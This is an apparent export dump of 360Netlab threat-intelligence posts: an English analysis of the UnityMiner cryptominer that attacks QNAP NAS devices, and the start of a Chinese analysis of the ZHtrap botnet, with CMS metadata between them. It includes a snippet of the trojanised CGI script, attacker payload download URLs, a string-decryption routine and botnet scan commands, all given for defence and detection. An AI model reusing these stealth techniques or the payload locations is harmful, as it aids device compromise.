<p><code>Quick.tar.gz</code> contains the miner program, the miner configuration file, the miner startup script and the forged <code>manaRequest.cgi</code>.</p>
<p>Unity is the XMRig miner program</p>
<pre><code>Quick
├── config.json
├── manaRequest.cgi
├── start.sh
└── unity
</code></pre>
<h4 id="2unity_installsh">2. unity_install.sh</h4>
<p><strong>Core functions</strong>：</p>
<ul>
<li>Check if unity process exists, kill if it exists</li>
<li>Check the CPU architecture of the device and download the mining kit for the corresponding architecture, currently it only supports ARM64 and AMD64</li>
<li>Set the mining parameters in <code>config.json</code> based on the number of CPU cores, the program makes sure it only uses half of the cores for mining.</li>
<li>Unpack the mining program, set cron and execute the mining script start.sh (once every minute, time interval is set directly to <code>* * * * * *</code>)</li>
</ul>
<h4 id="3startsh">3. start.sh</h4>
<p><strong>Core function</strong>：</p>
<ul>
<li>Checking for unity process and starting it if it does not exist.</li>
<li>Rename the system file <code>/home/httpd/cgi-bin/management/manaRequest.cgi</code> to <code>manaRequests.cgi</code> (this file is responsible for viewing and modifying the system information of the device)</li>
<li>Copy the <code>manaRequest.cgi</code> file from <code>Quick.tar.gz</code> to the <code>/home/httpd/cgi-bin/management/</code> directory, replacing the system's own file with the same name.</li>
</ul>
<h4 id="4configjson">4. config.json</h4>
<p>The group uses its own Pool(Proxy), so the real XMR Wallet cannot be seen. There are 3 groups of mining configurations, user are "xmr2", pass are "x", Pool(Proxy) are as follows.</p>
<pre><code>aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
</code></pre>
<h4 id="5manarequestcgi">5. manaRequest.cgi</h4>
<p><strong>Core function</strong>：</p>
<ul>
<li>Hijack the system's original file of the same name, after receiving HTTP requests, first detect whether there is a unity mining process in the system, if not, then directly transfer the HTTP request to the system's original file of the same name (has been renamed to <code>manaRequests.cgi</code> ) to process, and then end the execution of.</li>
</ul>
<pre><code>count=`ps -fe | grep unity | grep -v "grep"`
if [ "" == "$count" ];then
/home/httpd/cgi-bin/management/manaRequests.cgi
exit 0
fi
</code></pre>
<ul>
<li>If the unity mining process exists on the system, after forwarding the HTTP request to the system's original file of the same name for execution, log the results of the execution (to the <code>.log.log</code> file) and then tamper with the execution results by
<ol>
<li>Subtract 50 from the CPU status data</li>
<li>Delete the unity process information from the execution result</li>
</ol>
</li>
</ul>
<p>So when the user suspects something going on with the device and checks the usage, he will see pretty normal CPU usage and tempc, and all the system processes will look normal.</p>
<h3 id="suggestions">Suggestions</h3>
<p>QNAP NAS users should check and update their firmware promptly.<br>
We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.</p>
<h3 id="contactus">Contact us</h3>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a>, or email to netlab at 360<br>
dot cn.</p>
<h3 id="ioc">IoC</h3>
<p>IP:</p>
<pre><code>210.201.136.170 Taiwan ASN9311 HITRON TECHNOLOGY INC.
</code></pre>
<p>Miner Proxy:</p>
<pre><code>aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
</code></pre>
<p>URL:</p>
<pre><code>http://c.aquamangts.tk:8080/QFS/install/unity_install.sh
http://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz
http://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz
</code></pre>
<p>MD5:</p>
<pre><code>0f40086c9e96c9c11232a9175b26c644
1eb01a23a122d077540f83b005abdbfc
97015323b4fd840a40a9d40d2ad4e7af
</code></pre>
<!--kg-card-end: markdown--> | Background
On March 2, 2021, 360Netlab Threat Detection System started to report attacks targeting the widely used QNAP NAS devices via the unauthorized remote command execution vulnerability (CVE-2020-2506 & CVE-2020-2507)[1], upon successful attack, the attacker will gain root privilege on the device and perform malicious mining activities.
Due to the possible big impact, we contacted and informed the vendor on March 3, and decided to share some information with this quick blog.
Note 1, there is currently no public available PoC for CVE-2020-2506 & CVE-2020-2507, also according to the vendor’s request, we are not disclosing the technical details of the vulnerability in order to protect QNAP NAS users, we speculate that there are still hundreds of thousands of online QNAP NAS devices with the vulnerability.
We named the mining program UnityMiner, we noticed the attacker customized the program by hiding the mining process and the real CPU memory resource usage information, so when the QNAP users check the system usage via the WEB management interface, they cannot see the abnormal system behavior.
Previously We have disclosed another QNAP NAS in-the-wild vulnerability attack here[2].
Vulnerability impact
Our 360 FirmwareTotal system shows that the following models are affected by the vulnerabilities. The QNAP NAS installed Helpdesk app prior to August 2020 is affected. The following is the list of known models that could be vulnerable.
TVS-X73
TVS-X71U
TVS-X71
TVS-X63
TS-XA82
TS-XA73
TS-XA28A
TS-X89U
TS-X88
TS-X85U
TS-X85
TS-X83XU
TS-X82U
TS-X82S
TS-X82
TS-X80U
TS-X80
TS-X77U
TS-X77
TS-X73U
TS-X72U
TS-X72
TS-X63U
TS-X53U
TS-X53S
TS-X53D
TS-X53BU
TS-X53B
TS-X53A
TS-X53
TS-X51U
TS-X51DU
TS-X51B
TS-X51A
TS-X51
TS-X35A
TS-X28A
TS-KVM
TS-879U
TS-879
TS-870U
TS-870
TS-869U
TS-869
TS-859U
TS-859
TS-809U
TS-809
TS-670
TS-669
TS-659
TS-639
TS-569
TS-559
TS-509
TS-470
TS-469U
TS-469
TS-459U
TS-459
TS-439U
TS-439PROII
TS-439
TS-421U
TS-421
TS-420U
TS-420
TS-419U
TS-419P
TS-412U
TS-412
TS-410
TS-269
TS-259
TS-239PROII
TS-239H
TS-239
TS-221
TS-220
TS-219
TS-212
TS-210
TS-1679U
TS-1279U
TS-1270U
TS-1269U
TS-121
TS-120
TS-119
TS-112
TS-110
TS-1079
SS-839
SS-439
SS-2479U
SS-1879U
SS-1279U
QGD-1600
Mustang-200
IS-400
HS-251
HS-210
And the following is the Geo breakdown of the devices online by using the 360 Quake cyberspace mapping system, all togetherthere are 4,297,426 QNAP NAS, with 951,486 unique IPs.
Brief analysis of the mining kit
1. Overview
The mining program consists of unity_install.sh and Quick.tar.gz. unity_install.sh is used to download & set up & start the mining program and hijack the manaRequest.cgi program in the original device;
Quick.tar.gz contains the miner program, the miner configuration file, the miner startup script and the forged manaRequest.cgi.
Unity is the XMRig miner program
Quick
├── config.json
├── manaRequest.cgi
├── start.sh
└── unity
2. unity_install.sh
Core functions：
* Check if unity process exists, kill if it exists
* Check the CPU architecture of the device and download the mining kit for the corresponding architecture, currently it only supports ARM64 and AMD64
* Set the mining parameters in config.json based on the number of CPU cores, the program makes sure it only uses half of the cores for mining.
* Unpack the mining program, set cron and execute the mining script start.sh (once every minute, time interval is set directly to * * * * * *)
3. start.sh
Core function：
* Checking for unity process and starting it if it does not exist.
* Rename the system file /home/httpd/cgi-bin/management/manaRequest.cgi to manaRequests.cgi (this file is responsible for viewing and modifying the system information of the device)
* Copy the manaRequest.cgi file from Quick.tar.gz to the /home/httpd/cgi-bin/management/ directory, replacing the system's own file with the same name.
4. config.json
The group uses its own Pool(Proxy), so the real XMR Wallet cannot be seen. There are 3 groups of mining configurations, user are "xmr2", pass are "x", Pool(Proxy) are as follows.
aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
5. manaRequest.cgi
Core function：
* Hijack the system's original file of the same name, after receiving HTTP requests, first detect whether there is a unity mining process in the system, if not, then directly transfer the HTTP request to the system's original file of the same name (has been renamed to manaRequests.cgi ) to process, and then end the execution of.
count=`ps -fe | grep unity | grep -v "grep"`
if [ "" == "$count" ];then
/home/httpd/cgi-bin/management/manaRequests.cgi
exit 0
fi
* If the unity mining process exists on the system, after forwarding the HTTP request to the system's original file of the same name for execution, log the results of the execution (to the .log.log file) and then tamper with the execution results by
1. Subtract 50 from the CPU status data
2. Delete the unity process information from the execution result
So when the user suspects something going on with the device and checks the usage, he will see pretty normal CPU usage and tempc, and all the system processes will look normal.
Suggestions
QNAP NAS users should check and update their firmware promptly.
We recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.
Contact us
Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.
IoC
IP:
210.201.136.170 Taiwan ASN9311 HITRON TECHNOLOGY INC.
Miner Proxy:
aquamangts.tk:12933
a.aquamangts.tk:12933
b.aquamangts.tk:12933
URL:
http://c.aquamangts.tk:8080/QFS/install/unity_install.sh
http://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz
http://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz
MD5:
0f40086c9e96c9c11232a9175b26c644
1eb01a23a122d077540f83b005abdbfc
97015323b4fd840a40a9d40d2ad4e7af
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### Background\nOn March 2, 2021, 360Netlab Threat Detection System started to report attacks targeting the widely used QNAP NAS devices via the unauthorized remote command execution vulnerability (CVE-2020-2506 & CVE-2020-2507)[[1]](https://www.qnap.com.cn/en/security-advisory/qsa-20-08), upon successful attack, the attacker will gain root privilege on the device and perform malicious mining activities.\n\nDue to the possible big impact, we contacted and informed the vendor on March 3, and decided to share some information with this quick blog.\n\nNote 1, there is currently no public available PoC for CVE-2020-2506 & CVE-2020-2507, also according to the vendor’s request, we are not disclosing the technical details of the vulnerability in order to protect QNAP NAS users, we speculate that there are still hundreds of thousands of online QNAP NAS devices with the vulnerability.\n\nWe named the mining program UnityMiner, we noticed the attacker customized the program by hiding the mining process and the real CPU memory resource usage information, so when the QNAP users check the system usage via the WEB management interface, they cannot see the abnormal system behavior.\n\nPreviously We have disclosed another QNAP NAS in-the-wild vulnerability attack here[[2]](__GHOST_URL__/in-the-wild-qnap-nas-attacks/).\n\n### Vulnerability impact\nOur 360 FirmwareTotal system shows that the following models are affected by the vulnerabilities. The QNAP NAS installed Helpdesk app prior to August 2020 is affected. The following is the list of known models that could be vulnerable.\n```\nTVS-X73\nTVS-X71U\nTVS-X71\nTVS-X63\nTS-XA82\nTS-XA73\nTS-XA28A\nTS-X89U\nTS-X88\nTS-X85U\nTS-X85\nTS-X83XU\nTS-X82U\nTS-X82S\nTS-X82\nTS-X80U\nTS-X80\nTS-X77U\nTS-X77\nTS-X73U\nTS-X72U\nTS-X72\nTS-X63U\nTS-X53U\nTS-X53S\nTS-X53D\nTS-X53BU\nTS-X53B\nTS-X53A\nTS-X53\nTS-X51U\nTS-X51DU\nTS-X51B\nTS-X51A\nTS-X51\nTS-X35A\nTS-X28A\nTS-KVM\nTS-879U\nTS-879\nTS-870U\nTS-870\nTS-869U\nTS-869\nTS-859U\nTS-859\nTS-809U\nTS-809\nTS-670\nTS-669\nTS-659\nTS-639\nTS-569\nTS-559\nTS-509\nTS-470\nTS-469U\nTS-469\nTS-459U\nTS-459\nTS-439U\nTS-439PROII\nTS-439\nTS-421U\nTS-421\nTS-420U\nTS-420\nTS-419U\nTS-419P\nTS-412U\nTS-412\nTS-410\nTS-269\nTS-259\nTS-239PROII\nTS-239H\nTS-239\nTS-221\nTS-220\nTS-219\nTS-212\nTS-210\nTS-1679U\nTS-1279U\nTS-1270U\nTS-1269U\nTS-121\nTS-120\nTS-119\nTS-112\nTS-110\nTS-1079\nSS-839\nSS-439\nSS-2479U\nSS-1879U\nSS-1279U\nQGD-1600\nMustang-200\nIS-400\nHS-251\nHS-210\n```\n\nAnd the following is the Geo breakdown of the devices online by using the 360 Quake cyberspace mapping system, all togetherthere are 4,297,426 QNAP NAS, with 951,486 unique IPs.\n<a href=\"__GHOST_URL__/content/images/2021/03/qnap_distribution_en.png\"><img src=\"__GHOST_URL__/content/images/2021/03/qnap_distribution_en.png\" class=\"kg-image\"/></a>\n\n### Brief analysis of the mining kit\n\n#### 1. Overview\nThe mining program consists of `unity_install.sh` and `Quick.tar.gz`. `unity_install.sh` is used to download & set up & start the mining program and hijack the `manaRequest.cgi` program in the original device; \n\n`Quick.tar.gz` contains the miner program, the miner configuration file, the miner startup script and the forged `manaRequest.cgi`.\n\nUnity is the XMRig miner program\n\n```\nQuick\n├── config.json\n├── manaRequest.cgi\n├── start.sh\n└── unity\n```\n\n\n#### 2. unity_install.sh\n\n**Core functions**：\n- Check if unity process exists, kill if it exists\n- Check the CPU architecture of the device and download the mining kit for the corresponding architecture, currently it only supports ARM64 and AMD64\n- Set the mining parameters in `config.json` based on the number of CPU cores, the program makes sure it only uses half of the cores for mining.\n- Unpack the mining program, set cron and execute the mining script start.sh (once every minute, time interval is set directly to `* * * * * *`)\n\n#### 3. start.sh\n\n**Core function**：\n- Checking for unity process and starting it if it does not exist.\n- Rename the system file `/home/httpd/cgi-bin/management/manaRequest.cgi` to `manaRequests.cgi` (this file is responsible for viewing and modifying the system information of the device)\n- Copy the `manaRequest.cgi` file from `Quick.tar.gz` to the `/home/httpd/cgi-bin/management/` directory, replacing the system's own file with the same name.\n\n#### 4. config.json\n\nThe group uses its own Pool(Proxy), so the real XMR Wallet cannot be seen. There are 3 groups of mining configurations, user are \"xmr2\", pass are \"x\", Pool(Proxy) are as follows.\n\n```\naquamangts.tk:12933\na.aquamangts.tk:12933\nb.aquamangts.tk:12933\n```\n\n#### 5. manaRequest.cgi\n\n**Core function**：\n- Hijack the system's original file of the same name, after receiving HTTP requests, first detect whether there is a unity mining process in the system, if not, then directly transfer the HTTP request to the system's original file of the same name (has been renamed to `manaRequests.cgi` ) to process, and then end the execution of.\n```\ncount=`ps -fe | grep unity | grep -v \"grep\"`\nif [ \"\" == \"$count\" ];then\n /home/httpd/cgi-bin/management/manaRequests.cgi\n exit 0\nfi\n```\n\n- If the unity mining process exists on the system, after forwarding the HTTP request to the system's original file of the same name for execution, log the results of the execution (to the `.log.log` file) and then tamper with the execution results by\n 1. Subtract 50 from the CPU status data\n 2. Delete the unity process information from the execution result\n\nSo when the user suspects something going on with the device and checks the usage, he will see pretty normal CPU usage and tempc, and all the system processes will look normal.\n\n### Suggestions\nQNAP NAS users should check and update their firmware promptly.\nWe recommend that readers monitor and block relevant IPs and URLs mentioned in this blog.\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab at 360\ndot cn.\n\n\n### IoC\nIP:\n```\n210.201.136.170 \tTaiwan \tASN9311 \tHITRON TECHNOLOGY INC.\n```\n\nMiner Proxy:\n```\naquamangts.tk:12933\na.aquamangts.tk:12933\nb.aquamangts.tk:12933\n```\n\nURL:\n```\nhttp://c.aquamangts.tk:8080/QFS/install/unity_install.sh\nhttp://c.aquamangts.tk:8080/QFS/arm64/Quick.tar.gz\nhttp://c.aquamangts.tk:8080/QFS/amd64/Quick.tar.gz\n```\n\nMD5:\n```\n0f40086c9e96c9c11232a9175b26c644\n1eb01a23a122d077540f83b005abdbfc\n97015323b4fd840a40a9d40d2ad4e7af\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6041cc28d0d9b7000712c2ed |
post | null | 2021-03-08T13:29:31.000Z | 63873b9a8b1c1e0007f52fad | new_threat_zhtrap_botnet_cn | 0 | 2021-03-12T09:32:00.000Z | public | published | null | 2021-03-12T08:20:31.000Z | 新威胁：ZHtrap僵尸网络分析报告 | <!--kg-card-begin: markdown--><h2 id="">版权</h2>
<p>版权声明：本文为Netlab原创，依据 <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a> 许可证进行授权，转载请附上出处链接及本声明。</p>
<h2 id="">概述</h2>
<p>从2021年2月28日起，360网络安全研究院的BotMon系统检测到IP(<code>107.189.30.190</code>)在持续传播一批未知ELF样本。经分析，我们确认这些样本隶属于一个新的botnet家族，结合其运行特点，我们将其命名为<code>ZHtrap</code>，本文对其做一分析，文章要点如下：</p>
<ol>
<li>ZHtrap的传播使用了4个Nday漏洞，主要功能依然是DDoS和扫描，同时集成了一些后门功能。</li>
<li><strong>Zhtrap能将被感染设备蜜罐化</strong>，目的是提高扫描效率。</li>
<li>Zhtrap感染受害主机后会禁止运行新的命令，以此实现彻底控制和独占该设备。</li>
<li>在C2通信上，ZHtrap借鉴了<a href="__GHOST_URL__/matryosh-botnet-is-spreading/"><strong>套娃</strong></a>，采用了Tor和云端配置。</li>
</ol>
<h2 id="zhtrap">ZHtrap全情介绍</h2>
<p>ZHtrap的代码由Mirai修改而来，支持x86, ARM, MIPS等主流CPU架构。但相对Mirai，ZHtrap变化较大，体现在如下方面：</p>
<ul>
<li>在指令方面，加入了校验机制</li>
<li>在扫描传播方面，<code>增加了对真实设备和蜜罐的区分</code></li>
<li>在加密算法方面，重新设计了一套多重XOR加密算法</li>
<li>在主机行为方面，<strong>能将被攻陷设备变成一个简易蜜罐，并实现了一套进程管控机制</strong></li>
<li>在网络架构方面，吸收了我们之前曝光的套娃僵尸网络的实现</li>
</ul>
<p>基本流程如下图所示：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_brief.png" width="860px" /><br>
在功能方面，除了DDoS攻击和扫描，ZHtrap还实现了后门功能，这增加了该家族的危害性。ZHtrap的具体功能包括：</p>
<ul>
<li>进程管控</li>
<li>反弹Shell</li>
<li>DDoS攻击</li>
<li>Telnet扫描</li>
<li>Exploit传播</li>
<li><strong>蜜罐化被感染设备</strong></li>
<li>下载执行Payload</li>
</ul>
<p>目前捕获的ZHtrap样本，依据其功能可以分成3个版本：v1，v2和v3，其中：v2在v1的基础上，加入了漏洞利用的功能; v3在v2的基础上对网络基础设施做了删减。它们的关系如下图所示，本文的分析是基于功能最全的的v2版本。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_version-2.png" width="860px" /></p>
<p>跟我们之前分析过的botnet相比，ZHtrap最大的不同是能<strong>将被感染设备蜜罐化</strong>。蜜罐通常是安全研究人员用来捕获攻击的工具，比如收集扫描、exploits和样本，有趣的是，我们发现ZHtrap也使用了类似的技术，集成了一个扫描IP收集模块，收集到的IP会被用到自身的扫描模块中，基本流程如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_trap.png" width="860px" /></p>
<p>实际工作时，ZHtrap会监听23个指定端口（如上图所示），如果发现有IP连接这些端口就将它当成scanner IP记录下来，这些记录的IP会被用到它自身的扫描模块中，这样，ZHtrap扫描过程中所用到的目标地址就有2个来源：</p>
<ol>
<li>随机生成的IP；</li>
<li>上述模块捕获的扫描IP。</li>
</ol>
<p>这方面更多的细节可以参考下面的样本分析部分。</p>
<h2 id="">样本逆向分析</h2>
<br/>
<p>本文选取ZHtrap v2的X86 CPU架构样本做为分析对象，基本信息如下：</p>
<blockquote>
<p>MD5：5370e0b9484cb25fb3d5a4b648b5c203<br>
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Packer：None</p>
</blockquote>
<p>ZHtrap成功侵入设备后，首先通过绑定本地端口实现单一实例，然后解密出加密的资源信息，接下来将进程重命名为<code>/bin/ZoneSec</code>，最后在Console输出<br>
<code>ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax</code>“调戏”安全研究人员。接着通过网络请求得到资源服务器的地址，以供扫描&传播阶段使用。随后监听23个端口将设备变成一个"蜜罐"，通过telnet弱口令扫描收集可被入侵的设备信息，通过4个Nday漏洞扫描实现蠕虫式传播。最终和Tor C2进行通信，等待执行C2下发的指令。下面逐一剖析上述功能的技术细节。</p>
<h3 id="0x0">0x0 加密算法</h3>
<p>ZHtrap使用了一个比较少见的多重xor加密算法，来隐藏资源信息。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_xor.png" width="860px" /></p>
<p>等效的python实现如下所示：</p>
<pre><code>xor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf
xor_key = 0xD00DBAAF
def decode(content):
desc_lst = []
plaintext=""
xor_key_lst_idx = 1
for idx in range(0, len(content)):
desc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))
xor_key_lst_idx += 1
if xor_key_lst_idx >= len(xor_key_lst):
xor_key_lst_idx = 0
else:
print("".join(desc_lst))
</code></pre>
<p>以下面密文为例</p>
<pre><code>cipher =[
0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79,
0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41,
0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56,
0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D,
0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69,
0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70,
0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F,
0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01,
0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57,
0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07,
0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27,
0x27, 0x0D, 0x0C
]
</code></pre>
<p>解密后得到如下明文，正是输出在Console的提示信息：</p>
<pre><code>ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax
</code></pre>
<p>当前样本中一共有3条加密信息，解密后如下所示，其中<code>/proc/</code>以及<code>/stat</code>在下一章节<code>进程管控</code>中使用。</p>
<table>
<thead>
<tr>
<th>index</th>
<th>plaintext</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>/stat</td>
</tr>
<tr>
<td>1</td>
<td>/proc/</td>
</tr>
<tr>
<td>0</td>
<td>ZH infected your shit.....</td>
</tr>
</tbody>
</table>
<h3 id="0x1">0x1 进程管控</h3>
<p>ZHtrap通过白名单和快照机制实现进程管控，以实现对设备的独占。其中可执行文件包含以下路径的进程即被视为白名单进程。ZHtrap启动后会先获取当前的进程列表，然后通过kill -9结束非白名单进程。从这一步可以看出，ZHtrap并不想破坏系统的正常运行。</p>
<pre><code>/bin
/sbin
/user/bin
/user/sbin
</code></pre>
<p>接下来ZHtrap会为系统建立进程快照，此后如果有新创建进程，如果不在快照中将被kill。如此一来，整个系统就保持在ZHtrap的控制下运行了，即使管理员发现设备有问题想通过系统工具进行管理，也无法正常执行，远程维护变成了一项不可能的任务。</p>
<h6 id="">第一步，清理非白名单进程</h6>
<p>ZHtrap运行时，遍历系统当前进程，读取"/proc/pid/stat"中第22项，<code>starttime</code>的值。这个值除以_SC_CLK_TCK可以得到进程是在内核启动后多久启动的。<code>_SC_CLK_TCK</code>的值一般等于100，10000/_SC_CLK_TCK的结果为100秒，即所有在内核启动100秒之后启动的进程都要进行检查，如果进程路径不在白名单中，则通过kill杀掉进程。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_procwhite.png" width="860px" /></p>
<h6 id="">第二步，建立进程快照，不在标的新进程都将被清理</h6>
<p>清理完非白单名进程后，ZHtrap认为系统处在一个“纯净的状态”，首先为系统建立进程快照。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_procsnap.png" width="860px" /></p>
<p>在此之后新创建的进程都会和进程快照进行比较，不符合要求的进程，都将被直接kill。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_proctest.png" /></p>
<h3 id="0x2">0x2 获取资源服务器</h3>
<p>ZHtrap通过以下代码片段获得资源服务器(ResServ)的地址，这个过程可以分成俩步，第一步和Tor domain建立通信，第二步发送"<code>GET /sfkjdkfdj.txt</code>"请求。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_rescode.png" width="860px" /></p>
<h6 id="tordomain">如何和Tor domain建立通信呢？</h6>
<p>ZHtrap借鉴了套娃僵尸网络的思路，首先向远程主机<code>0xdeadbeef.tw</code>请求DNS TXT记录，得到下图中的Tor代理的列表，<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_torproxy.png" width="860px" /><br>
任选其中一个代理建立连接，然后向代理发送想要建立通信的<code>domain :port</code>信息，如果代理返回<code>05 00 00 01 00 00 00 00 00 00</code>时，说明通信已成功建立。然后发送后续的GET请求就能得到资源服务器地址(<code>107.189.30.190</code>)，下图的网络流量很清楚的反映这个过程。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_respkg.png" width="860px" /></p>
<h6 id="">资源服务器有什么用呢？</h6>
<img src="__GHOST_URL__/content/images/2021/03/zh_respopu.png" width="860px" />
<p>通过上图IDA交叉引用可知，ResServ的功能有俩个：</p>
<ul>
<li>充当Reporter Server角色，为Telnet扫描过程提供信息上传服务</li>
<li>充当Downloader Server角色，为漏洞传播过程提供样本下载服务</li>
</ul>
<h3 id="0x3">0x3 蜜罐化被攻陷的设备</h3>
<p>ZHtrap首先建立了2个管道用于信息传输，然后通过以下代码片段实现了一个监听23个端口的简易蜜罐<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_honcode.png" width="860px" /></p>
<p>实际效果如下：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_honshow.png" width="860px" /></p>
<p>当设备的这些端口被访问时，ZHtrap会将访问者的IP地址通过管道传递给telnet扫描&漏洞扫描使用。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/zh_honpipe.png" alt="zh_ddos" loading="lazy"></p>
<h6 id="">为什么要这样做呢？</h6>
<p>我们推测，ZHtrap的作者的想法是这样的：</p>
<blockquote>
<p>许多botnet都会实现蠕虫式的扫描传播，当ZHtrap的蜜罐端口被访问时，其来源很有可能是已被别家botnet感染的设备。这设备能被感染，肯定存在缺陷，我使用我的扫描机制反扫一次有很大的机会能植入我的bot样本，再配合进程管控功能，就能独占设备了。Awesome！</p>
</blockquote>
<h3 id="0x4telnet">0x4 Telnet扫描</h3>
<p>ZHtrap使用Telnet扫描来收集使用弱口令的设备，扫描对象来源有以下2类：</p>
<ol>
<li>主动随机生成的IP</li>
<li>被动接收由蜜罐投递的IP</li>
</ol>
<p>不同来源的IP，有不同的处理办法:</p>
<p>对于第1类IP，使用SYN端口探测。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_tela.png" width="860px" /></p>
<p>对于第2类IP，直接调用connect函数。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_telb.png" width="860px" /></p>
<p>当发现目标的23端口是开放时，使用硬编码的凭证列表尝试登录，将能成功登录的的<code>IP，端口，帐号，密码</code>等信息通过以下代码，回传给资源服务器。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_telrep.png" width="860px" /></p>
<p>在尝试登录这个过程中，ZHtrap会让被扫描设备执行以下命令:</p>
<pre><code>enable
linuxshell
system
bash
ls /home
ps aux
/bin/busybox ZONESEC
</code></pre>
<p>然后根据返回的信息对设备类型进行判断，当包含以下字串时，说明设备是个蜜罐。</p>
<table>
<thead>
<tr>
<th>string</th>
<th>honeypot</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jun22</td>
<td><a href="https://github.com/cowrie/cowrie">cowrie</a></td>
</tr>
<tr>
<td>Jun23</td>
<td>cowrie</td>
</tr>
<tr>
<td>phil</td>
<td>cowrie</td>
</tr>
<tr>
<td>sshd:</td>
<td>cowrie</td>
</tr>
<tr>
<td>richard</td>
<td>cowrie</td>
</tr>
<tr>
<td>@LocalHost:]</td>
<td>cowrie</td>
</tr>
<tr>
<td>Welcome to EmbyLinux 3.13.0-24-generic</td>
<td><a href="https://github.com/Phype/telnet-iot-honeypot">telnet-iot-honeypot</a></td>
</tr>
</tbody>
</table>
<p>如果是蜜罐，则将设备信息通过<code>2231端口</code>上报到资源服务器。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/zh_telrpa.png" alt="zh_ddos" loading="lazy"></p>
<p>如果是真实设备，则将设备信息通过<code>1282端口</code>上报给资源服务器。</p>
<p><img src="__GHOST_URL__/content/images/2021/03/zh_telrpb.png" alt="zh_ddos" loading="lazy"></p>
<h3 id="0x5">0x5 漏洞扫描&传播</h3>
<p>ZHtrap使用以下4个Nday漏洞传播样本：</p>
<ul>
<li><a href="https://www.exploit-db.com/exploits/41471/">JAWS_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/43055">NETGEAR</a></li>
<li><a href="https://www.exploit-db.com/exploits/39596/">CCTV_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></li>
</ul>
<p>首先构造SYN包探测设备的端口是否开放，支持的端口(exp_port)列表如下所示：</p>
<table>
<thead>
<tr>
<th>80</th>
<th>8080</th>
<th>8081</th>
<th>8083</th>
<th>5500</th>
</tr>
</thead>
<tbody>
<tr>
<td>60001</td>
<td>52869</td>
<td>8089</td>
<td>8090</td>
<td>8000</td>
</tr>
<tr>
<td>81</td>
<td>82</td>
<td>83</td>
<td>84</td>
<td>85</td>
</tr>
<tr>
<td>8888</td>
<td>8181</td>
<td>8443</td>
<td>5555</td>
<td></td>
</tr>
</tbody>
</table>
<p>然后发送“GET /”请求以获取端口所运行服务的信息：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_expreq.png" width="860px" /></p>
<p>随后通过以下代码片段对服务返回的banner信息做判断，进而判断是否为目标设备。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_expresp.png" width="860px" /></p>
<p>最终根据banner信息，选择相应的漏洞，和ResServ组装有效payload，尝试植入。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_expsend.png" width="860px" /></p>
<p>和telnet扫描过程一样，扫描对象来源有以下2类：</p>
<ol>
<li>主动随机生成的IP</li>
<li>被动接收由蜜罐投递的IP</li>
</ol>
<p>对于第一类IP，随机选择一个exp_port进行探测，IP与exp_port的关系是1对1。</p>
